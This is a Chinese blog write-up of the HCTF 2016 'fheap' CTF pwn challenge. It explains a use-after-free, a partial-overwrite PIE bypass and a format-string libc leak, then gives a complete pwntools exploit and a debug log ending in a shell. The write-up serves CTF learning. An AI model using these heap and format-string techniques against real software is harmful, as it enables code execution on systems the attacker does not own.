前言

DEFCON Quals 结束了,整场比赛没有 Web 手什么事情…….唯一一题 Web 题还有点脑洞。

划水 Web 手没有办法,摸了两天鱼一事无成。赛后就只能打打以前的 Pwn,努力学习一下补补两天的空缺了。

菜鸡 Pwn 手通过这个题目学到了格式化字符串,也熟悉了堆,现在越来越觉得时间不够学习了Orz。

好像有一段时间没有好好做 Web 了Orz。

题目链接:https://github.com/zh-explorer/hctf2016-fheap


题目分析

首先是保护机制:

aluvion@Aluvion:~/桌面$ checksec ./fheap
[*] '/home/aluvion/\xe6\xa1\x8c\xe9\x9d\xa2/fheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护基本都开了。

IDA 反编译,看到题目是个菜单题,不过只有 create 和 delete 两种功能,主要代码逻辑如下:

  • create 的时候先 malloc 一个 0x20 大小的 chunk ptr,如果我们要输入的内容长度大于 0xF,长度使用 strlen 进行判断,就把内容放进这个 chunk 里;否则就再 malloc 一个新 chunk dest,然后将 chunk dest 的指针放入 chunk ptr 中。
  • chunk ptr 的末尾还有两个数据,分别是内容长度和 delete 时要调用的 free 函数的地址。
  • 将代表该 id 已分配的标识 1 和 chunk ptr 的指针放入 bss 段,当作索引表。
  • delete 的时候先判断索引表中的指针是否存在,然后调用存在 chunk ptr 处的函数,参数为 chunk dest 的指针和一个字符串 “yes”。

主要漏洞代码在 delete 函数中:

if ( *((_QWORD *)&unk_2020C0 + 2 * v1 + 1) )
{
    printf("Are you sure?:");
    read(0, &buf, 0x100uLL);
    if ( !strncmp(&buf, "yes", 3uLL) )
    {
        (*(void (__fastcall **)(_QWORD, const char *))(*((_QWORD *)&unk_2020C0 + 2 * v1 + 1) + 24LL))(*((_QWORD *)&unk_2020C0 + 2 * v1 + 1), "yes");
        *((_DWORD *)&unk_2020C0 + 4 * v1) = 0;
    }
}

可以看到,判断能否 free 的依据是 bss 段中的指针,而 free 之后却只是将索引表中的标识置 0,没有清空指针,所以可以进行 UAF。

由于 free 函数是动态调用,所以我们如果可以覆盖 chunk ptr 中的函数指针,我们就可以调用任意函数。

解题思路

调用任意函数

因为程序开启了 PIE,所以我们无法知道准确的地址,但是 PIE 存在一个缺陷,那就是 PIE 的随机化只能影响到单个内存页。通常来说,一个内存页大小为 0x1000,所以最后的三个十六进制数字是不会变化的,我们就可以通过部分写入来绕过 PIE。

我们可以先 create 两个长度小于 0xF 的小 note,然后 delete 1、delete 0,然后再 create 一个 0x20 大小的 note。

这样一来,chunk ptr 就会拿到 note 0 的地址,chunk dest 就会拿到 chunk 1 的地址,这里我们就可以通过输入的 note 内容覆盖掉 chunk 1 中存放的 free 函数地址;而 bss 段中的索引表则没有变化,分别指向 chunk ptr 和 chunk dest。

所以我们只需要 delete 1,就可以调用我们改写的函数了。

泄露 libc 基地址

能够调用任意函数之后,我们只要找到 system 的地址,就可以拿到 shell 了。

我们给 chunk ptr 中存放的 free 函数下个断点调试一下,可以看到堆栈中有 libc 中存在的函数的地址:

Breakpoint *0x0000556d9af60d52
pwndbg> stack 40
00:0000│ rsp  0x7ffc68c597e8 —▸ 0x556d9af60e95 ◂— lea    rax, [rip + 0x201224]
01:0008│      0x7ffc68c597f0 ◂— 0x0
02:0010│      0x7ffc68c597f8 ◂— 0x100000000
03:0018│      0x7ffc68c59800 ◂— 0x736579 /* 'yes' */
04:0020│      0x7ffc68c59808 ◂— 0x0
... ↓
10:0080│      0x7ffc68c59868 —▸ 0x7feec1926bff (_IO_file_write+143) ◂— test   rax, rax
11:0088│      0x7ffc68c59870 —▸ 0x7feec1c73620 (_IO_2_1_stdout_) ◂— 0xfbad2887
12:0090│      0x7ffc68c59878 ◂— 0x1
13:0098│      0x7ffc68c59880 —▸ 0x7feec1c736a3 (_IO_2_1_stdout_+131) ◂— 0xc74780000000000a /* '\n' */
14:00a0│      0x7ffc68c59888 —▸ 0x7ffc68c59e10 ◂— 0x1
15:00a8│      0x7ffc68c59890 ◂— 0x0
16:00b0│      0x7ffc68c59898 —▸ 0x7feec1928409 (_IO_do_write+121) ◂— mov    r13, rax
17:00b8│      0x7ffc68c598a0 ◂— 0x6
18:00c0│      0x7ffc68c598a8 —▸ 0x7feec1c73620 (_IO_2_1_stdout_) ◂— 0xfbad2887
19:00c8│      0x7ffc68c598b0 ◂— 0xa /* '\n' */
1a:00d0│      0x7ffc68c598b8 —▸ 0x556d9af61344 ◂— xor    ebp, dword ptr [rsi] /* '3.quit' */
1b:00d8│      0x7ffc68c598c0 —▸ 0x7ffc68c59e10 ◂— 0x1
1c:00e0│      0x7ffc68c598c8 —▸ 0x7feec192881b (_IO_file_overflow+235) ◂— cmp    eax, -1
1d:00e8│      0x7ffc68c598d0 ◂— 0x6
1e:00f0│      0x7ffc68c598d8 —▸ 0x7feec1c73620 (_IO_2_1_stdout_) ◂— 0xfbad2887
1f:00f8│      0x7ffc68c598e0 —▸ 0x556d9af61344 ◂— xor    ebp, dword ptr [rsi] /* '3.quit' */
20:0100│      0x7ffc68c598e8 —▸ 0x7feec191d7fa (puts+362) ◂— cmp    eax, -1
21:0108│      0x7ffc68c598f0 ◂— 0x0
22:0110│      0x7ffc68c598f8 —▸ 0x7ffc68c59910 —▸ 0x7ffc68c59d30 —▸ 0x556d9af61180 ◂— push   r15
23:0118│      0x7ffc68c59900 —▸ 0x556d9af60a50 ◂— xor    ebp, ebp
24:0120│      0x7ffc68c59908 ◂— 0x22a1583f7a9e300
25:0128│ rbp  0x7ffc68c59910 —▸ 0x7ffc68c59d30 —▸ 0x556d9af61180 ◂— push   r15
26:0130│      0x7ffc68c59918 —▸ 0x556d9af60cf2 ◂— jmp    0x556d9af60d37
27:0138│      0x7ffc68c59920 ◂— 'delete \n'

可以看到偏移 0x20 的地方存着 puts + 362 的地址(不清楚不同环境是不是同一个偏移的?),所以我们可以通过调用 printf 来进行泄露,我们用 objdump 来看看调用 printf 的地址:

aluvion@Aluvion:~/桌面$ objdump -d fheap | grep printf
00000000000009d0 <printf@plt>:
     dbb:    e8 10 fc ff ff           callq  9d0 <printf@plt>
     e19:    e8 b2 fb ff ff           callq  9d0 <printf@plt>
     f0a:    e8 c1 fa ff ff           callq  9d0 <printf@plt>
     f56:    e8 75 fa ff ff           callq  9d0 <printf@plt>
    10ee:    e8 dd f8 ff ff           callq  9d0 <printf@plt>

因为只能修改一个字节,所以我们选择 0xdbb 处的 call 指令,要注意的是 printf 函数中会对 al 寄存器进行检测,如果不为 0 就执行movaps 这些指令,而这些指令后面的操作数需要是 16 位对齐。所以我们查看 IDA 中的汇编指令,最后选择的是 0xdbb 的前一个指令,即 0xdb6 处的 mov eax, 0。

泄露出 puts 函数的地址后我们可以用低三位地址去查找 libc 版本:

https://libc.blukat.me/?q=puts%3A0x690&l=libc6_2.23-0ubuntu10_amd64

最后得到 system 和 puts 的偏移为 0x2a300。

exp

具体的偏移可以自行调试

from pwn import *

context.log_level = "debug"

target = process("./fheap")
elf = ELF("./fheap")
gdb.attach(proc.pidof(target)[0])


def create(size, content):
    target.sendline("create ")
    target.sendlineafter("Pls give string size:", str(int(size)))
    target.sendafter("str:", content)


def delete(id, content=""):
    target.sendline("delete ")
    target.sendlineafter("id:", str(id))
    target.sendafter("Are you sure?:", "yes%s" % content)    


create(4, "a" * 4)
create(4, "a" * 4)
delete(1)
delete(0)

create(0x20, "Twings%" + str(6 + 0x21 - 1) + "$pAluvion654321" + "\xb6")
delete(1, ",Twings!")
target.recvuntil("Twings")
puts_addr = int(target.recvuntil("Aluvion", drop=True), 16) - 362
system_addr = puts_addr - 0x2a300
target.sendline("")
target.sendline("")
success("puts address: %s" % hex(puts_addr))
success("system address: %s" % hex(system_addr))

delete(0)
create(0x20, "/bin/sh;".ljust(24, "p") + p64(system_addr))
delete(1)

target.interactive()
target.close()

运行效果:

aluvion@Aluvion:~/桌面$ python fheap.py 
[+] Starting local process './fheap': pid 8579
[DEBUG] PLT 0x95c free
[DEBUG] PLT 0x970 strncpy
[DEBUG] PLT 0x980 strncmp
[DEBUG] PLT 0x990 puts
[DEBUG] PLT 0x9a0 strlen
[DEBUG] PLT 0x9b0 __stack_chk_fail
[DEBUG] PLT 0x9c0 setbuf
[DEBUG] PLT 0x9d0 printf
[DEBUG] PLT 0x9e0 read
[DEBUG] PLT 0x9f0 __libc_start_main
[DEBUG] PLT 0xa00 __gmon_start__
[DEBUG] PLT 0xa10 malloc
[DEBUG] PLT 0xa20 atoi
[DEBUG] PLT 0xa30 exit
[DEBUG] PLT 0xa40 __cxa_finalize
[*] '/home/aluvion/\xe6\xa1\x8c\xe9\x9d\xa2/fheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[DEBUG] Wrote gdb script to '/tmp/pwnjFPVxi.gdb'
    file /home/aluvion/桌面/fheap
[*] running in new terminal: /usr/bin/gdb -q  "/home/aluvion/桌面/fheap" 8579 -x "/tmp/pwnjFPVxi.gdb"
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/usr/bin/gdb -q  "/home/aluvion/\xe6\xa1\x8c\xe9\x9d\xa2/fheap" 8579 -x "/tmp/pwnjFPVxi.gdb"']
[+] Waiting for debugger: Done
[DEBUG] Sent 0x8 bytes:
    'create \n'
[DEBUG] Received 0x79 bytes:
    '+++++++++++++++++++++++++++\n'
    "So, let's crash the world\n"
    '+++++++++++++++++++++++++++\n'
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
[DEBUG] Received 0x15 bytes:
    'Pls give string size:'
[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0x4 bytes:
    'str:'
[DEBUG] Sent 0x4 bytes:
    'a' * 0x4
[DEBUG] Sent 0x8 bytes:
    'create \n'
[DEBUG] Received 0x4f bytes:
    'The string id is 0\n'
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
    'Pls give string size:'
[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0x4 bytes:
    'str:'
[DEBUG] Sent 0x4 bytes:
    'a' * 0x4
[DEBUG] Sent 0x8 bytes:
    'delete \n'
[DEBUG] Received 0x6a bytes:
    'The string id is 1\n'
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
    'Pls give me the string id you want to delete\n'
    'id:'
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0xe bytes:
    'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
    'yes'
[DEBUG] Sent 0x8 bytes:
    'delete \n'
[DEBUG] Received 0x57 bytes:
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
    'Pls give me the string id you want to delete\n'
    'id:'
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0xe bytes:
    'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
    'yes'
[DEBUG] Sent 0x8 bytes:
    'create \n'
[DEBUG] Received 0x3c bytes:
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
    'Pls give string size:'
[DEBUG] Sent 0x3 bytes:
    '32\n'
[DEBUG] Received 0x4 bytes:
    'str:'
[DEBUG] Sent 0x19 bytes:
    00000000  54 77 69 6e  67 73 25 33  38 24 70 41  6c 75 76 69  │Twin│gs%3│8$pA│luvi│
    00000010  6f 6e 36 35  34 33 32 31  b6                        │on65│4321│·│
    00000019
[DEBUG] Sent 0x8 bytes:
    'delete \n'
[DEBUG] Received 0x6a bytes:
    'The string id is 0\n'
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
    'Pls give me the string id you want to delete\n'
    'id:'
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0xe bytes:
    'Are you sure?:'
[DEBUG] Sent 0xb bytes:
    'yes,Twings!'
[DEBUG] Received 0x27 bytes:
    00000000  54 77 69 6e  67 73 30 78  37 66 65 36  39 65 34 63  │Twin│gs0x│7fe6│9e4c│
    00000010  30 37 66 61  41 6c 75 76  69 6f 6e 36  35 34 33 32  │07fa│Aluv│ion6│5432│
    00000020  31 b6 8d e4  f8 48 56                               │1···│·HV│
    00000027
[DEBUG] Sent 0x1 bytes:
    '\n' * 0x1
[DEBUG] Sent 0x1 bytes:
    '\n' * 0x1
[+] puts address: 0x7fe69e4c0690
[+] system address: 0x7fe69e496390
[DEBUG] Sent 0x8 bytes:
    'delete \n'
[DEBUG] Received 0x65 bytes:
    'Are you sure?:1.create string\n'
    '2.delete string\n'
    '3.quit\n'
    'Pls give me the string id you want to delete\n'
    'id:'
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0xe bytes:
    'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
    'yes'
[DEBUG] Sent 0x8 bytes:
    'create \n'
[DEBUG] Received 0x3c bytes:
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
    'Pls give string size:'
[DEBUG] Sent 0x3 bytes:
    '32\n'
[DEBUG] Received 0x4 bytes:
    'str:'
[DEBUG] Sent 0x20 bytes:
    00000000  2f 62 69 6e  2f 73 68 3b  70 70 70 70  70 70 70 70  │/bin│/sh;│pppp│pppp│
    00000010  70 70 70 70  70 70 70 70  90 63 49 9e  e6 7f 00 00  │pppp│pppp│·cI·│····│
    00000020
[DEBUG] Sent 0x8 bytes:
    'delete \n'
[DEBUG] Received 0x6a bytes:
    'The string id is 0\n'
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
    'Pls give me the string id you want to delete\n'
    'id:'
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0xe bytes:
    'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
    'yes'
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
    'id\n'
[DEBUG] Received 0x81 bytes:
    00000000  75 69 64 3d  31 30 30 30  28 61 6c 75  76 69 6f 6e  │uid=│1000│(alu│vion│
    00000010  29 20 67 69  64 3d 31 30  30 30 28 61  6c 75 76 69  │) gi│d=10│00(a│luvi│
    00000020  6f 6e 29 20  e7 bb 84 3d  31 30 30 30  28 61 6c 75  │on) │···=│1000│(alu│
    00000030  76 69 6f 6e  29 2c 34 28  61 64 6d 29  2c 32 34 28  │vion│),4(│adm)│,24(│
    00000040  63 64 72 6f  6d 29 2c 32  37 28 73 75  64 6f 29 2c  │cdro│m),2│7(su│do),│
    00000050  33 30 28 64  69 70 29 2c  34 36 28 70  6c 75 67 64  │30(d│ip),│46(p│lugd│
    00000060  65 76 29 2c  31 31 33 28  6c 70 61 64  6d 69 6e 29  │ev),│113(│lpad│min)│
    00000070  2c 31 32 38  28 73 61 6d  62 61 73 68  61 72 65 29  │,128│(sam│bash│are)│
    00000080  0a                                                  │·│
    00000081
uid=1000(aluvion) gid=1000(aluvion) 组=1000(aluvion),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

参考文章:

http://lvtao.pro/2018/10/26/2016-hctf-fheap-UAF/

https://blog.csdn.net/CharlesGodX/article/details/88911417

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit/


CTF Pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

RCTF2019-Web-jail/password引发的思考和学习
堆入门-JarvisOJ-Level6